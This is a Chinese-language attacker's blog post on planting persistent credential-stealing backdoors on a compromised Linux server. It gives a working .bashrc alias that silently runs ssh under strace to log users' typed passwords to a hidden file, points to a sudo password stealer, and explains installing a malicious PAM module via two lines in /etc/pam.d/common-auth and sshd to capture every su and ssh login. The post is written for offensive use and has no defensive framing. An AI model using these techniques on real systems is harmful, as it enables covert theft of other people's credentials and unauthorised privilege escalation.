第一个暗桩 – ssh命令

当我们控制了一台linux服务器,并且发现有用户使用这台机器通过ssh连接其他机器的时候,那么假设我们有此用户的权限的shell,这时我们就可以巧用alias来窃取用户的密码

首先我们将会用到strace命令,这在大部分的linux机器当中都有预装。为了劫持用户的ssh命令,我们需要修改~/.bashrc(修改前请先备份)

在.bashrc中加入如下语句:

alias ssh=’strace -o /var/tmp/.syscache-date +'%Y-%m-%d+%H:%m:%S'.log -s 4096 ssh’

这句话的意思就是当用户使用ssh时,实际上我们悄悄的对ssh使用了strace来跟踪其调用过程,并将其输出文件保存在/var/tmp下,这样,当合法用户登陆被我们控制的机器,并使用ssh登陆其他机器的时候,其登陆其他机器时输入的密码、地址就会被我们记录下来。如下图

strace

此时我们使用grep,查找密码以及用户登陆的地址:

password

address

可以看到成功捕获了用户名、地址、密码

第二个暗桩 – 窃取sudo密码

当我们控制了一台linux服务器,并且发现自己控制的用户经常使用sudo执行命令时,我们也可以巧用alias来窃取用户的sudo密码

自己也写了个小工具:Impost3r

只需要合法用户登陆后使用sudo命令,就可以窃取到其密码,从而变相提权,甚至可以可以拿来做ssh账户/密码,大多数人密码都是一样的

第三个暗桩 – 劫持各类系统命令

这个和第二个很像,但是我觉得不是很妥当,毕竟会弹出非预期的询问密码的操作,故而不去使用

第四个暗桩 – 修改pam文件

在linux当中,用户的认证都是基于pam的,也就是说如果我们在获取了root权限的情况下,可以通过修改pam相关模块及配置来窃取所有通过ssh登陆至此机器的用户名/密码、所有执行su命令的用户名/密码

有一个小工具:looterc

稍加修改,并进行编译,得到looter.so,并将此so复制至/lib/security下(如果是ubuntu,应当在/lib/x86_64-linux-gnu/security下)

再修改/etc/pam.d/下的common-auth,在最后一行加上以下两句语句:

1
2
auth optional looter.so
account optional looter.so

保存并退出后,任何使用su命令的普通用户的用户名和密码都将会被捕获

如果想窃取所有ssh到此机器上的用户名/密码,那么就修改/etc/pam.d/下的sshd文件,同样在最后加上同样的两句语句

保存并退出后,任何使用ssh命令连接到此机器的用户的用户名和密码都将会被捕获

结语

手法要骚,想法要淫荡(笑)